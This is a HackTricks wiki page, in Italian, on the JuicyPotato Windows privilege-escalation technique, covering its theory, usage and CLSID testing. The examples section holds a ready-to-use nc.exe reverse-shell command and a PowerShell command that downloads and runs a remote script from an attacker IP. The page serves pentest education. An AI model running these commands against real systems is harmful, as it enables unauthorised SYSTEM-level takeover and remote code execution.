hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md

9.5 KiB

JuicyPotato

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% hint style="warning" %} JuicyPotato non funziona su Windows Server 2019 e Windows 10 build 1809 e successivi. Tuttavia, PrintSpoofer, RoguePotato, SharpEfsPotato possono essere utilizzati per sfruttare gli stessi privilegi e ottenere accesso a livello NT AUTHORITY\SYSTEM. Controlla: {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato (abusing the golden privileges)

Versione zuccherata di RottenPotatoNG, con un po' di succo, cioè un altro strumento di escalation dei privilegi locali, da un Windows Service Accounts a NT AUTHORITY\SYSTEM

Puoi scaricare juicypotato da https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Summary

Dal Readme di juicy-potato:

RottenPotatoNG e le sue varianti sfruttano la catena di escalation dei privilegi basata sul BITS servizio avendo il listener MiTM su 127.0.0.1:6666 e quando hai privilegi SeImpersonate o SeAssignPrimaryToken. Durante una revisione della build di Windows abbiamo trovato una configurazione in cui BITS era intenzionalmente disabilitato e la porta 6666 era occupata.

Abbiamo deciso di armare RottenPotatoNG: Dì ciao a Juicy Potato.

Per la teoria, vedi Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM e segui la catena di link e riferimenti.

Abbiamo scoperto che, oltre a BITS, ci sono diversi server COM che possiamo sfruttare. Devono solo:

  1. essere istanziabili dall'utente corrente, normalmente un "utente di servizio" che ha privilegi di impersonificazione
  2. implementare l'interfaccia IMarshal
  3. essere eseguiti come un utente elevato (SYSTEM, Administrator, …)

Dopo alcuni test abbiamo ottenuto e testato un elenco esteso di CLSID interessanti su diverse versioni di Windows.

Juicy details

JuicyPotato ti consente di:

  • Target CLSID scegli qualsiasi CLSID tu voglia. Qui puoi trovare l'elenco organizzato per OS.
  • COM Listening port definisci la porta di ascolto COM che preferisci (invece della hardcoded 6666)
  • COM Listening IP address collega il server a qualsiasi IP
  • Process creation mode a seconda dei privilegi dell'utente impersonato puoi scegliere tra:
  • CreateProcessWithToken (richiede SeImpersonate)
  • CreateProcessAsUser (richiede SeAssignPrimaryToken)
  • entrambi
  • Process to launch lancia un eseguibile o uno script se lo sfruttamento ha successo
  • Process Argument personalizza gli argomenti del processo lanciato
  • RPC Server address per un approccio furtivo puoi autenticarti a un server RPC esterno
  • RPC Server port utile se vuoi autenticarti a un server esterno e il firewall blocca la porta 135
  • TEST mode principalmente per scopi di test, cioè testare i CLSID. Crea il DCOM e stampa l'utente del token. Vedi qui per il test

Usage

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Pensieri finali

Dal Readme di juicy-potato:

Se l'utente ha i privilegi SeImpersonate o SeAssignPrimaryToken, allora sei SYSTEM.

È quasi impossibile prevenire l'abuso di tutti questi server COM. Potresti pensare di modificare i permessi di questi oggetti tramite DCOMCNFG, ma buona fortuna, sarà una sfida.

La soluzione reale è proteggere gli account e le applicazioni sensibili che vengono eseguiti sotto gli account * SERVICE. Fermare DCOM inibirebbe certamente questo exploit, ma potrebbe avere un impatto serio sul sistema operativo sottostante.

Da: http://ohpe.it/juicy-potato/

Esempi

Nota: Visita questa pagina per un elenco di CLSID da provare.

Ottieni una shell inversa nc.exe

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Avvia un nuovo CMD (se hai accesso RDP)

Problemi con CLSID

Spesso, il CLSID predefinito che JuicyPotato utilizza non funziona e l'exploit fallisce. Di solito, ci vogliono più tentativi per trovare un CLSID funzionante. Per ottenere un elenco di CLSID da provare per un sistema operativo specifico, dovresti visitare questa pagina:

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

Controllo dei CLSID

Prima, avrai bisogno di alcuni eseguibili oltre a juicypotato.exe.

Scarica Join-Object.ps1 e caricalo nella tua sessione PS, e scarica ed esegui GetCLSID.ps1. Quel script creerà un elenco di possibili CLSID da testare.

Poi scarica test_clsid.bat (cambia il percorso per l'elenco CLSID e per l'eseguibile juicypotato) ed eseguilo. Inizierà a provare ogni CLSID, e quando il numero di porta cambia, significherà che il CLSID ha funzionato.

Controlla i CLSID funzionanti utilizzando il parametro -c

Riferimenti

{% hint style="success" %} Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}